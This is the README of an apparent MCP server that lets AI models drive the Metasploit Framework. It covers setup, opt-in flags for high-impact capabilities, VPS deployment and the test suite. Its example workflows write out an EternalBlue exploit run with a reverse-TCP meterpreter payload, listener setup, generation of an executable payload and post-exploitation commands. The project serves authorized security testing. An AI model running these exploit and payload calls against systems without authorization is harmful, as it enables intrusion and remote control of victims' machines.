Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

22829111.mp4

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

• list_exploits: Search and list available Metasploit exploit modules
• list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

• run_exploit: Configure and execute an exploit against a target with options to run checks first
• run_auxiliary_module: Run any Metasploit auxiliary module with custom options
• run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

• generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

• list_active_sessions: Show current Metasploit sessions with detailed information
• send_session_command: Run a command in an active shell or Meterpreter session
• terminate_session: Forcefully end an active session

Handler Management

• list_listeners: Show all active handlers and background jobs
• start_listener: Create a new multi/handler to receive connections
• stop_job: Terminate any running job or handler

Prerequisites

• Metasploit Framework installed and msfrpcd running
• Python 3.10 or higher
• Required Python packages (see requirements.txt)

Installation

Compatibility note: this release uses the MCP Python SDK v1 FastMCP/SSE API, so mcp is intentionally pinned below 2.0. The MCP SDK v2 requires an API migration before upgrading.

1. Clone this repository
2. Install dependencies:

   pip install -r requirements.txt
   

3. Configure environment variables. MSF_PASSWORD is required; there is no insecure default:

   export MSF_PASSWORD='your-msf-password'
   export MSF_SERVER=127.0.0.1
   export MSF_PORT=55553
   export MSF_SSL=false
   export PAYLOAD_SAVE_DIR="$HOME/payloads"
   
   # High-impact capabilities are disabled by default.
   export MCP_ALLOW_ACTIVE_ACTIONS=false
   export MCP_ALLOW_SESSION_CONTROL=false
   export MCP_ALLOW_PAYLOAD_GENERATION=false
   export MCP_ALLOW_LISTENER_CONTROL=false
   
   # For remote HTTP/SSE (non-loopback) deployments:
   export MCP_AUTH_TOKEN='use-a-long-random-token'
   export MCP_REQUIRE_AUTH=auto

   See .env.example for the complete configuration.

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Security-first defaults

High-impact capabilities are disabled by default. Enable only the capabilities required for an authorized lab or assessment.

For HTTP/SSE, keep the server bound to 127.0.0.1 unless remote access is required. With MCP_REQUIRE_AUTH=auto, a non-loopback binding requires a Bearer token in MCP_AUTH_TOKEN.

Transport Options

The server supports two transport methods:

• HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
• STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

MCP_AUTH_TOKEN='use-a-long-random-token' MCP_ALLOW_ACTIVE_ACTIONS=true python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword",
                "MCP_ALLOW_ACTIVE_ACTIONS": "true"
            }
        }
    }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

2. Configure your MCP client to connect to:

   • SSE endpoint: http://your-server-ip:8085/sse
   • Send Authorization: Bearer <MCP_AUTH_TOKEN> when HTTP authentication is enabled.

Security Considerations

This server exposes Metasploit through MCP and should be treated as privileged security infrastructure.

• Run only against systems you are authorized to test.
• Keep HTTP/SSE on loopback unless remote access is explicitly required.
• Use MCP_AUTH_TOKEN for non-loopback HTTP deployments.
• Keep high-impact capability flags disabled until needed.
• Do not commit .env, RPC passwords, Bearer tokens, private keys, or generated payloads.
• Review tool parameters and outputs before using them in a real assessment.

See SECURITY.md for the security policy.

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010")
2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. List sessions: list_active_sessions()
4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Send custom commands: send_session_command(1, "sysinfo")
3. Terminate when done: terminate_session(1)

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. List active handlers: list_listeners()
3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Stop a handler: stop_job(1)

Docker

Build the image:

docker build -t metasploit-mcp .

For a local deployment using Docker Compose:

cp .env.example .env
# Set MSF_PASSWORD. Keep MCP_ALLOW_* disabled unless needed.
docker compose up --build

The Compose example binds port 8085 to loopback and stores generated payloads in a named volume. If the Metasploit RPC service runs on the host, the example uses host.docker.internal as the default RPC host.

Check liveness:

curl http://127.0.0.1:8085/healthz

One-command VPS deployment

For a phone-friendly deployment, the repository includes a complete Docker Compose stack with:

• Metasploit RPC running privately on the Compose network
• Metasploit MCP running behind the RPC service
• Caddy providing HTTPS on ports 80/443
• Bearer authentication required for MCP HTTP access
• Persistent Metasploit and payload volumes
• Automatic container restarts

The stack uses Rapid7's official Metasploit Framework image and pins it to a known release. (See the official image and release tags.)

Requirements on the VPS:

• Linux VPS with Docker Engine and Docker Compose v2
• Public DNS A record pointing the chosen MCP domain to the VPS
• TCP ports 80 and 443 allowed through the VPS firewall
• amd64 CPU for the currently pinned Rapid7 image tag

Deploy:

git clone https://github.com/tupsonik/MetasploitMCP.git
cd MetasploitMCP
bash scripts/bootstrap-vps.sh

The bootstrap script creates .env with random Metasploit and MCP secrets when it does not already exist, builds the MCP image, pulls the Metasploit/Caddy images, and starts the stack.

Check the stack:

docker compose -f docker-compose.vps.yml --env-file .env ps
curl -fsS https://YOUR_DOMAIN/healthz

The Metasploit RPC port is intentionally not published to the VPS host. Only the MCP HTTPS endpoint is exposed publicly, and MCP bearer authentication remains enabled.

For the first assessment, keep the high-impact capabilities disabled and enable only the specific capability needed for an authorized test.

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

pip install -r requirements-test.txt

Or use the convenient installer:

python run_tests.py --install-deps
# OR
make install-deps

Running Tests

Quick Commands

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Specific Test Suites

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Test Options

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Test Structure

• tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
• tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
• tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
• conftest.py: Shared test fixtures and configuration
• pytest.ini: Pytest configuration with coverage settings

Test Features

• Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
• Async Support: Full async/await testing support using pytest-asyncio
• Coverage Reporting: Detailed coverage analysis with HTML reports
• Parametrized Tests: Efficient testing of multiple input scenarios
• Fixture Management: Reusable test fixtures for common setup scenarios

Coverage Reports

After running tests with coverage, reports are available in:

• Terminal: Coverage summary displayed after test run
• HTML: htmlcov/index.html (when using --html option)

CI/CD Integration

For continuous integration:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

• In Claude Desktop config:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0